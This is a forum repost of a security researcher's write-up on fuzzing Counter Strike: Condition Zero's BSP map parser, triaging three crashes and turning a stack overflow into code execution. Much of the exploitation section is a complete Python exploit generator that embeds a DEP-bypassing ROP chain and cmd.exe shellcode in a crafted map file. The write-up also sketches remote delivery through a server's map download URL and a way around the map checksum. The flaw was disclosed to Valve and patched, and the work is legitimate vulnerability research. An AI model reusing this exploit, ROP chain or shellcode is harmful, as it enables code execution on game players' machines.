Jump to content

Nytro

Administrators
  • Posts

    18740
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Lock and Load: Exploiting Counter Strike via BSP Map Files Jul 7, 2017 • Grant What makes Counter Strike an interesting target is that it relies on a game lobby for players to find and select servers to play on. Upon connecting to the server, the game client will automatically download any required resources (maps, textures, sounds, etc.). Once all of the resources have been downloaded, they have to be loaded and parsed from disk into memory. Only then will the client begin receiving commands and entity updates from the server. This automatic resource fetching looked like the ticket to a remotely exploitable vulnerability via a local file. The vulnerability discussed in this article has been disclosed to Valve Security and the patch publicly deployed on July 10th. I would like to extend my thanks to the Valve Security team and specifically to Alfred Reynolds who was my liaison during the disclosure process. The whole process, from initial email to fix, lasted less than 30 days. I certainly look forward to disclosing to Valve in the future. Go, go, go! - Finding Crashes My approach to finding bugs was to use the tried and true method of fuzzing. Essentially I gathered a bunch of existing BSP map files for my corpus and then used them as seeds to my fuzzing engine. This will corrupt them and then feed them back in to the program (CZ) to be parsed while being watched for any crashes. If a crash is found, it is recorded and stored for later triage and classification. I figured that highly complex file formats such as .BSP would map quite well to low-level memcpy operations in the engine. It’s even possible that stored sizes of data structures in the BSP file will be less validated than most file formats. I had a few false starts to this project when selecting a fuzzer to use. First I tried honggfuzz under Cygwin, but this proved to be completely broken for crash detection. Next I tried WinAFL which I was unable to get to work due to some binary incompatibilities and possible Windows 10 issues. This led to a multi-day rabbit hole of building DynamicRIO from source and rebuilding WinAFL against it. In the end I gave up trying to get a coverage based fuzzer to work and went instead with the solid CERT Basic Fuzzing Framework (BFF). This proved to be an excellent choice due to its easy configuration file and deep integration with Microsoft debugging tools, including WinDBG and !exploitable. I also had some relevant experience with the framework through fuzzing VLC when it used to be called Failure Observation Engine (FOE). BFF is a simple “dumb” fuzzer, meaning it merely corrupts bytes in the file and writes it back out. It has no knowledge of the BSP file format or of the target it is fuzzing. This is great for quick setup, but for more complex formats, code coverage of the parsing code may be limited. For shallow bugs, dumb fuzzing will not have much of an issue finding them. With this fuzzer in mind, I went about exploring instrumentation on the GoldSrc engine. When running a game on this engine, the executable hl.exe boots, loads common engine resources, and then loads a game specific DLL (known as a client DLL or cl_dll) which drives the engine via a proxy API. This API and the associated utilities are the primary SDK interface that many game modders deal with. Technically Counter Strike 1.6 (cstrike) and Condition Zero (czero) are both considered “mods” as they merely use the proxy API for gameplay. When running a mod like CZ, the engine command line looks like: hl.exe -game czero $OTHER_ARGS. In order to quickly iterate through map files, I looked up the command line flags for starting the engine with CZ and to load a map upon start. This is the command line I used: C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hl.exe -game czero -dev -window -console +sv_lan 1 +map MAP_NAME where -window makes it so I can fuzz and browse the web at the same time, sv_lan 1 makes a local-only server, and map immediately changes the map on login. With the ability to programmatically run the engine, I installed BFF, Debugging Tools for Windows, and then started configuring BFF. BFF installs to C:\BFF by default and has the concept of a fuzzing campaign. I started a new one for CZ and then edited the bff.yaml configuration file: campaign: id: counter strike czero keep_heisenbugs: False use_buttonclicker: False target: program: C:\Users\MyName\.babun\cygwin\bin\bash.exe cmdline_template: $PROGRAM -c '"C:/BFF/mover.sh" $SEEDFILE "C:/Program Files (x86)/Steam/steamapps/common/Half-Life/hl.exe" -game czero -dev -window -console +sv_lan 1 +map aim_fuzz' NUL ... directories: seedfile_dir: seedfiles\bsp working_dir: fuzzdir results_dir: results ... fuzzer: fuzzer: bytemut fuzz_zip_container: False Everything except program, cmdline_template, and seedfile_dir are the defaults. Notice that this cmdline isn’t just running hl.exe. This is because I ran into problems getting the corrupted BSP file to be read by the engine. GoldSrc has a dedicated, per-mod resource directory and will not load resources based on an absolute path. Hence, I made a bash script under Cygwin to first move the generated BSP file to the resource directory as aim_fuzz.bsp. It’s a simple three-liner, it gets the job done, and doesn’t affect crash detection due to exec: /bin/cp "$1" "c:\\Program Files (x86)\\Steam\\steamapps\\common\\Half-Life\\czero_downloads\\maps\\aim_fuzz.bsp" shift exec "$@" It’s unfortunate that BFF doesn’t support post-processing fuzzed files like honggfuzz does, since this would have eliminated the need for this hack. With the fuzzer set up, I copied all of the map files less than 3.0 MB from my czero_downloads/maps folder into the seedfiles\bsp directory. This left me with 74 map files as seeds. I could have used more, but as you will see, finding crashes was not that difficult. Fire in the Hole! - Triaging Crashes After running for less than a day on a single Windows 10 x64 machine, 43 crashes were found. It’s no surprise that the BSP parsing turned up a lot of unique crashes as it’s a complex file format combining many different data objects into one format. Here’s the crash breakdown by predicted severity: 3 - EXPLOITABLE 5 - PROBABLY_EXPLOITABLE 35 - UNKNOWN Thanks to MSEC’s !exploitable, most of the hard crash triage was already done. Each crash folder had the minimized test case along with a full WinDBG log and !analyze output. In order to reproduce these crashes, BFF provides a nice script called repro.py. Running python C:\BFF\tools\repro.py -w PATH_TO_FUZZED_FILE will drop you into a WinDBG GUI for further investigation. With that, let’s take a look at the three EXPLOITABLE crashes. Crash #1 Now this looks interesting. EIP looks like ASCII which might mean we have control over it! ... Spawn Server aim_fuzz Clearing memory Using WAD File: uacyber_stproz.wad Using WAD File: as_tundra.wad Using WAD File: halflife.wad Using WAD File: cs_dust.wad Using WAD File: cs_cbble.wad Texture load: 56.7ms WARNING: failed to locate sequence file aim_fuzz "sv_maxspeed" changed to "900" GAME SKILL LEVEL:1 "pausable" changed to "0" Executing listen server config file (465c.4c78): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 44334143 ?? ??? ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44334143 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x1e2606b6.0x1e2606b6 Hash Usage : Stack Trace: Major+Minor : Unknown Instruction Address: 0x0000000044334143 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044334143 (Hash=0x1e2606b6.0x1e2606b6) Unfortunately further investigation showed that this wasn’t the case and EIP just coincidentally got an ASCII-only value. Let’s dive into IDA to investigate…but where was the original faulting instruction? How did we get to 0x44334143? This called for some WinDBG learning. I needed a way to know what the last instruction was right before the DEP violation. Originally before writing this post, I had single stepped WinDBG until arriving at the faulting address. But now when I reproduce the crash I’ve come to realize that the backtrace contains the last stack frame. If this crash had caused stack corruption then this approach wouldn’t have worked, since stack corruption would have corrupted the stack frames (i.e. the saved EBP value). 1:005:x86> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0019f2c0 00000000 028e433d 10342a7c 10342a88 0x44334143 1:005:x86> r eax=00000080 ebx=10342a88 ecx=10342a7c edx=1069d298 esi=106e4b34 edi=10342938 eip=44334143 esp=0019f2c4 ebp=0019f2e4 iopl=0 ov up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a16 44334143 ?? ??? I tried visiting 0x28e433d in IDA and I saw this function call: Stepping into this function showed this: It looks like the jmp target has been controlled from a starting offset via EAX. It looks like an attempt was made to prevent the function pointer index from going above 7, but JGE on x86 is a signed comparison! This means that EAX can go negative (0x80 - 0xff) and pass the check as this signed char is casted to unsigned char for the jump. In WinDBG at the time of the crash, EAX was 0x80. Doing some pointer math of 0x297bad4+[0x80∗4]=0x297bcd40x297bad4+[0x80∗4]=0x297bcd4 and then a lookup in IDA shows at the calculated address: If you notice, the CA3D string matches perfectly to our crashing address, except it’s bytes are reversed. The hex dump confirms this: So what we have is a controlled function pointer load and transfer within a range of 127 DWORDs. This read occurs from the .data section, which is read-write, but from this point, we’d have to find a controlled place in this tight range to write a known code address. With this understanding and a bit of disappointment I moved on to the other crashers to see if I’d have any better luck. Crash #2 The next crash turns out to be a little bit more interesting but not obviously easier to get code execution ... Adding: czero/dlls\mp.dll ModLoad: 00000000`256d0000 00000000`25860000 c:\program files (x86)\steam\steamapps\common\half-life\czero\dlls\mp.dll Dll loaded for mod Condition Zero ModLoad: 00000000`607e0000 00000000`6086e000 c:\program files (x86)\steam\steamapps\common\half-life\platform\servers\serverbrowser.dll ModLoad: 00000000`61700000 00000000`61757000 C:\Program Files (x86)\Steam\steamapps\common\Half-Life\vstdlib.dll MP3_InitStream(30, sound\music\downed_intro.mp3) successful Spawn Server aim_fuzz Clearing memory (61b8.7004): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x3f53f: 0285f53f 8906 mov dword ptr [esi],eax ds:002b:77023e00=5d00191d ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception ** ERROR: Symbol file could not be found. Defaulted to export symbols for hl.exe - Exception Faulting Address: 0x77023e00 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Faulting Instruction:0285f53f mov dword ptr [esi],eax Exception Hash (Major/Minor): 0xdfa48bac.0x58d60243 Hash Usage : Stack Trace: Major+Minor : hw+0x3f53f ... Minor : ntdll_77470000!_RtlUserThreadStart+0x1b Instruction Address: 0x000000000285f53f Description: User Mode Write AV Short Description: WriteAV Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at hw+0x000000000003f53f (Hash=0xdfa48bac.0x58d60243) From this crash log, it looks like we have control over ESI. Further investigation in IDA and some reverse code lookups in ReHLDS found the original function: void Mod_LoadTextures(lump_t *l) { dmiptexlump_t *m; miptex_t *mt; ... char dtexdata[348996]; ... texture_t *tx; wads_parsed = 0; starttime = Sys_FloatTime(); if (!tested) Mod_AdInit(); if (!l->filelen) { loadmodel->textures = 0; return; } m = (dmiptexlump_t *)(mod_base + l->fileofs); // looks like we corrupted a lump header m->_nummiptex = LittleLong(m->_nummiptex); // the crashing line loadmodel->numtextures = m->_nummiptex; loadmodel->textures = (texture_t **)Hunk_AllocName(4 * loadmodel->numtextures, loadname); ... Looks like a corrupted lump fileofs which caused a bad pointer dereference on line 468. This is interesting as we have control over the entire lump contents, but it’s going to require some more reading to figure out how to achieve code execution. Overall this function is a mess of direct pointer arithmetic and there are bound to be many more ways to make this function crash. Some more digging would probably yield a write-what-where primitive, but I moved on to the next crash to see if it was easier to exploit. Crash #3 The last crash turned out to be quite interesting. The fuzzed BSP file was based upon the map awp_snowsk337.bsp (a really fun map). Here is the WinDBG output of the two crashing exceptions: ... Spawn Server aim_fuzz Clearing memory Texture load: 50.3ms (ab5c.72b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x4ddd7: 0286ddd7 8941f8 mov dword ptr [ecx-8],eax ds:002b:001a0000=78746341 ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x1a0000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Exception Hash (Major/Minor): 0xfa8446e7.0xb321cd22 Hash Usage : Stack Trace: Major+Minor : hw+0x4ddd7 ... Minor : Unknown Instruction Address: 0x000000000286ddd7 Description: Exception Handler Chain Corrupted Short Description: ExceptionHandlerCorrupted Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at hw+0x000000000004ddd7 (Hash=0xfa8446e7.0xb321cd22) And when continuing from this first chance exception to the Structured Exception Handler (SEH): 1:005:x86> g;$$Found_with_CERT_BFF_2.8;r;!exploitable -v;q ModLoad: 70e20000 70e33000 C:\WINDOWS\SysWOW64\dhcpcsvc6.DLL ModLoad: 70e00000 70e14000 C:\WINDOWS\SysWOW64\dhcpcsvc.DLL (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=44980000 edx=774f2d90 esi=00000000 edi=00000000 eip=44980000 esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 44980000 ?? ??? !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44980000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x918f89cc.0x7f62488f Hash Usage : Stack Trace: Major+Minor : Unknown Excluded : ntdll_77470000!ExecuteHandler2+0x26 Excluded : ntdll_77470000!ExecuteHandler+0x24 Excluded : ntdll_77470000!KiUserExceptionDispatcher+0xf Excluded : Unknown ... Excluded : Unknown Instruction Address: 0x0000000044980000 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044980000 called from Unknown Symbol @ 0xffffffffc40e0000 (Hash=0x918f89cc.0x7f62488f) This crash transferred control to the default SEH on the stack, the trigger being an access violation after dereferencing the stack guard page. It looks like a nearly unlimited buffer overflow which is exactly the type of exploitability I was looking for. BFF happens to provide some heuristics to determine the “Exploitability Rank” and it gave this a 5/100 (lower is better). Crash #1 had a score of 20 (possibly exploitable) and Crash #2 a 100 (no way). The SEH handler’s address was overwritten to 0x44980000, which happens to be the float value of 1216.0. A quick search of the corrupted file with 010 Editor yielded hundreds of values like this. In order to determine the exact value that would give us control over the SEH handler, I wrote a script to incrementally replace each found value with an incrementing float value. Rerunning with the new BSP file yielded a file offset of 0x4126C bytes. Now I had control over EIP! Observe: 1:005:x86> r (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=deadbeef edx=774f2d90 esi=00000000 edi=00000000 eip=deadbeef esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 deadbeef ?? ??? From this point (due to DEP) I needed to ROP out of the exception handler frame and back to the old stack. For this I needed a special gadget of the form pop REG32, pop REG32, pop esp, ret or similar. The next tool that helped me start ROPing was !mona running under Immunity DBG. Using mona’s “findwild” gadget search, I tried to find an appropriate stack pivot in non-ASLR’d, non-rebased modules, but I was unable to after many hours of poring over gadgets. This was quite disappointing. Luckily I still had complete control over the stack frame, so all I needed to do was to find out how to overwrite the saved return address for the function. Dropping into IDA revealed a reasonably simple function (Note: this function was difficult to understand at first and to took me a while to understand the mapping from the BSP file to the code. This is the finished version before I found the source code online and learned the real names and data types. Many days of hard work are being glossed over.) int __cdecl GL_SubdivideSurface(MapInfo *object) { signed int numVerts; // ecx@1 int numVertsToProc; // edi@1 struct_gData *bObject; // edx@2 int initialIndex; // esi@2 float *pVEC3DATA; // ecx@2 int indexPos; // esi@2 signed int index; // edi@3 int offset; // eax@4 float *pVEC3; // eax@6 float VEC3DATA[192]; // [sp+4h] [bp-304h]@2 int numVertsStack; // [sp+304h] [bp-4h]@2 int vec3Count; // [sp+310h] [bp+8h]@2 numVerts = 0; g_modVuln = object; numVertsToProc = object->numVerts; if ( numVertsToProc > 0 ) { bObject = g_CurBObject; initialIndex = object->initialIndex; // 00002c4c pVEC3DATA = &VEC3DATA[1]; vec3Count = object->numVerts; // initially 0x9c (this was corrupted from fuzzer) indexPos = initialIndex; numVertsStack = numVertsToProc; do { index = bObject->INDEX_BUFFER[indexPos]; if ( index <= 0 ) offset = bObject->VERTEX_BUFFER_INDEX[-4 * index + 1]; else offset = bObject->VERTEX_BUFFER_INDEX[4 * index]; ++indexPos; pVEC3DATA += 3; pVEC3 = &bObject->VECTOR_DATA[3 * offset]; *(pVEC3DATA - 4) = *pVEC3; *(pVEC3DATA - 3) = pVEC3[1]; *(pVEC3DATA - 2) = pVEC3[2]; // overwrite here --vec3Count; } while ( vec3Count ); numVerts = numVertsStack; } return SubdivideSurface(numVerts, (int)VEC3DATA);// if numverts == 0, this function returns quick } By reading the excellent IDA decompiled source with struct types, I determined that BFF had corrupted the vec3Countvariable. This caused more than 64 VEC3 (three 4-byte floats) to be placed into the VEC3DATA struct causing the numVertsStack and vec3Count variables to be corrupted. vec3Count was corrupted to a large number, which is why we saw the exception at 0286ddd7 mov dword ptr [ecx-8],eax when it overwrote the guard page. Get out of there, it’s gonna blow! - Exploiting the Crash At this point I still need to solve three problems in order to gain code execution: Where in the BSP file maps to the VECTOR_DATA, INDEX_BUFFER and VERTEX_BUFFER_INDEX data streams? How do I bypass the SubdivideSurface function so that the GL_SubdivideSurface returns? How do I disable DEP and start running shellcode? Problem #1 I did some more digging with 010 Editor (this tool proved so invaluable that I bought it) and using a similar approach to finding the SEH handler offset, I found the starting offsets for all three buffers. There was some guessing and fudging of the numbers to get things just right, but it worked for the file I was corrupting, so I didn’t worry about perfecting it. In possible future BSP exploits, I’d like to understand more about the file format in order to create more knowledgeable exploit generators. My first effort towards this has been the creation of an 010 Editor binary template file for parsing out the Half-Life 1 BSP format (version 30 with no magic FourCC value in the header). 010 Editor is my go to tool for reverse engineering and viewing binary file formats. The BSP format has many versions and modifications. The Half-Life 1 version is documented here. In short, BSP is made up of “lumps” which are just blocks of bytes that have a defined data structure, such as textures, vertices, edges, faces, entities, etc. Through fuzzing, different parts of the lumps will be affected, which will affect the parsing of the file. Problem #2 The GL_SubdivideSurface function must return in order to pop the corrupted saved return address off the stack, but there is a tail call of SubdivideSurface which prevents this. Also there is a bounds check on the numVerts which limits it to 60 (not enough to overflow important data). int __cdecl SubdivideSurface(signed int numVerts, int object) { if ( numVerts > 60 ) sub_28C8450("numverts = %i", numVerts); sub_286D4C0(numVerts, (float *)object, (int)v35, (int)v31); for ( i = 0; ; ++i ) { if ( i >= 3 ) { result = sub_28E5D30(28 * (numVerts - 4) + 128); v26 = result; *(_DWORD *)result = gWarpface->field_24; *(_DWORD *)(result + 12) = *(_DWORD *)&gWarpface->gap0[8]; gWarpface->field_24 = result; *(_DWORD *)(result + 8) = numVerts; v30 = 0; while ( v30 < numVerts ) { ... } return result; // we want to reach here to exit quickly } v2 = (v35[i] + v31[i]) * 0.5; v24 = floor(v2 / 64.0 + 0.5) * 64.0; if ( v31[i] - v24 >= 8.0 && v24 - v35[i] >= 8.0 ) break; } ... SubdivideSurface(v34, (int)&v39); return SubdivideSurface(v46, (int)&v43); } Further reading of this function made me realize that if could I can somehow change the numVerts input argument then I could quickly bypass this function. To my luck, the GL_SubdivideSurface stack frame had numVerts right below the overflowed buffer. This meant that I could control the variable to fake the number of vertices processed SubdivideSurface, effectively bypassing it. Problem #3 With the knowledge of where to place my data in the BSP file (to cause reliable bytes to be placed on the stack), I just needed a nice ROP chain that would allow me to disable DEP on the current stack page and then jump to my shellcode. Mona to the rescue! Simply running !mona rop and waiting an hour I was left with a nice, DEP-disabling ROP chain. I also learned that you can use VirtualAlloc on already allocated memory to set flags, just like VirtualProtect. I initially tried to use VirtualProtect, but none of the safe modules had any references to it. Only four modules were available for ROP gadgets in the process: hl.exe, filesystem_stdio.dll, hw.dll, steamclient.dll, and icudt.dll. Unfortunately the reliability of this exploit was limited due to the heavy usage of gadgets from steamclient.dll, which changes on every steam update. This actually happened during my exploitation process, necessitating a re-generation of my gadgets. What a pain! Hours of debugging and testing with WinDBG later, I had successfully confirmed that this ROP chain was working! All I needed was to change my exploit script to add in some shellcode and I was golden. I found some Windows Universal cmd.exe shellcode from Shell Storm and BOOM! Command prompt appeared. Check out a video of it in action Here is the complete exploit code that I wrote to get control over the BSP file and get code running: #!/usr/bin/env python # Counter Strike: Condition Zero BSP map exploit # By @Digital_Cold Jun 11, 2017 from binascii import hexlify, unhexlify from struct import pack, unpack import math import mmap import logging fmt = "[+] %(message)s" logging.basicConfig(level=logging.INFO, format=fmt) l = logging.getLogger("exploit") # Specific to the file INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int] VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short] VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float] NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash # No longer used as could not find a gadget to 'pop, pop, pop esp, ret' # SEH_OVERWRITE_OFF = 0x4126C # Initial offset into the index buffer where the function to exploit resides INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already # INDEX_BUFFER # 0: 20 # 1: 10 # 2: 2 --> Vertex Buffer Indexes # VERTEX BUFFER INDEXES # 0: 1 # 1: 2 # 2: 4 --> Vertex Data # VERTEX DATA # 0: 1.23, 23423.0, 3453.3 # 1: 1.23, -9.0, 3453.3 # 2: 1.0, 1.0, 1.0 # 3: 1.0, 1.0, 1.0 # 4: 0.0, 1.0, 0.0 # Example: # a = INDEX_BUFFER[2] ; a = 2 # b = VERTEX_BUFFER[a] ; b = 4 # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0 def dw(x): return pack("I", x) def main(): target_file = "eip-minimized.bsp" output_file = "exploit-gen.bsp" print "GoldSource .BSP file corruptor" print " by @Digital_Cold" print l.info("Corrupting target file %s" % target_file) # Read in and memory map target file fp = open(target_file, 'rb') mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY) fp.close() VEC3_COUNT = 63 # then come Saved EBP and return address start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET second_idx = VERTEX_BUFFER_INDEXES_OFF vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults l.info("Writing to index buffer offset %08x...", start_idx) l.info("Vertex buffer indexes start %08x", second_idx) l.info("Vertex data at %08x", vertex_data_start) data_buffer = [] for i in range(VEC3_COUNT): for j in range(3): data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory data_buffer.append("\x00\x00\x00\x00") # dont care data_buffer.append("\x00\x00\x00\x00") # unk1 data_buffer.append("\x00\x00\x00\x00") # unk2 data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call) data_buffer.append("\x00\x00\x00\x00") # EBP data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe] # XXX: bug in mona. This is a ptr to VirtualProtectEx!! # 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll] """ Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD -------------------------------------------- """ # START ROP CHAIN # DEP disable ROP chain # rop chain generated with mona.py - www.corelan.be # # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio rop_gadgets = [ #0x3808A308, # INT3 # RETN [steamclient.dll] 0x38420ade, # POP EDX # RETN [steamclient.dll] 0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll] 0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll] 0x381ebdc1, # POP EBP # RETN [steamclient.dll] 0x381f98cd, # & jmp esp [steamclient.dll] 0x387885ac, # POP EBX # RETN [steamclient.dll] 0x00000001, # 0x00000001-> ebx 0x384251c9, # POP EDX # RETN [steamclient.dll] 0x00001000, # 0x00001000-> edx 0x387cd449, # POP ECX # RETN [steamclient.dll] 0x00000040, # 0x00000040-> ecx 0x386c57fe, # POP EDI # RETN [steamclient.dll] 0x385ca688, # RETN (ROP NOP) [steamclient.dll] 0x0140b00e, # POP EAX # RETN [hl.exe] 0x90909090, # nop 0x385c0d3e, # PUSHAD # RETN [steamclient.dll] ] # Can be replaced with ANY shellcode desired... # http://shell-storm.org/shellcode/files/shellcode-662.php shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \ "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \ "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \ "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \ "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \ "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \ "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \ "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \ "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \ "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \ "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \ "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \ "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \ "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \ "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \ "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \ "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \ "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \ "\x24\x20\x57\xFF\xD0" shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash) shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode_dwords = int(math.ceil(len(shellcode)/4.0)) extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0)) # Loop count (needs to be the exact amount of ROP we want to write data_buffer.append(dw(extra_dwords)) for addr in rop_gadgets: data_buffer.append(dw(addr)) for b in range(shellcode_dwords): data = "" for byte in range(4): idx = byte + b*4 # pad to nearest DWORD with INT3 if idx >= len(shellcode): data += "\xcc" else: data += shellcode[idx] data_buffer.append(data) second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before # we can exploit the function # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW #mmfile[NUM_EDGES_OFF] = pack("B", 0x41) for i in range(int(math.ceil(len(data_buffer)/3.0))): mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i) mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i) second_idx += 2 # required because the game loads every-other word # This data will now be on the stack for j in range(3): sub_idx = j*4 + i*0xc data_idx = i*3 + j towrite = "" if data_idx >= len(data_buffer): towrite = "\x00"*4 else: towrite = data_buffer[i*3 + j] mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx)) # write out the corrupted file outfile = open(output_file, "wb") outfile.write(mmfile) outfile.close() l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file)) l.info("Copy to game maps/ directory!") if __name__ == "__main__": main() As you can see, the exploit code is quite hardcoded to the map file. The shellcode and ROP chain are stored in the LUMP_VERTICES section and the LUMP_EDGES and LUMP_SURFEDGES are hijacked to get the function to read from an exact spot in the vertices lump. With more understanding of the BSP format combined with a parser, this exploit code would not have to guess offsets and it could just edit exact positions. Here’s the output when running the exploit { cscz-bsp } > ./exploit.py GoldSource .BSP file corruptor by @Digital_Cold [+] Corrupting target file eip-minimized.bsp [+] Writing to index buffer offset 0009e010... [+] Vertex buffer indexes start 000a9174 [+] Vertex data at 00043f7c [+] Wrote 2478632 byte exploit file to exploit-gen.bsp [+] Copy to game maps/ directory! Given that this vulnerability is now patched, it’s unlikely that this exploit will be of any use. Here is the exploit packagethat I sent Valve in my report. The shellcode and ROP chain are different, but the concept is the same. Remote Exploitation While developing this exploit I explored the idea of hosting it on a server. The only issue I ran into was getting the server itself to not crash when loading the map file. I came up with a possible method of hosting a malicious map file on a server. Due to the map crashing the server, what about not letting the server load the map? Instead have it load the legitimate map and then have the client download the map via HTTP as configured by the sv_downloadurl in your server.cfg. This variable was created to alleviate the slow download speeds when downloading directly from the Half-Life Dedicated Server (HLDS). Maps and other resources can be hosted directly under any HTTP server, such as nginx or apache, which will improve resource download speed. All we need the client to do is to start loading the map. At this point the vulnerability will be triggered and it won’t matter that the maps don’t match. Unfortunately map files are checksumed by the client and server (via CRC_MapFile). During the initial server connection, the client will compare its map checksum to the servers. If they don’t match, it will exit. I believe the approach to bypass this would be to modify the server binary to bypass or load a constant CRC value. I didn’t get this far, but I looked into it. Half-Life Security Improvements While developing the BSP exploit, I noted some key changes to the Half-Life GoldSrc Windows build process that would hamper future vulnerability impact and exploit development ease: Ensure that ASLR is enabled for hl.exe, steamclient.dll, and filesystem_stdio.dll Impact: This will limit the number of fixed address ROP gadgets available to attackers without a corresponding ASLR break via memory leak. Fix: Add 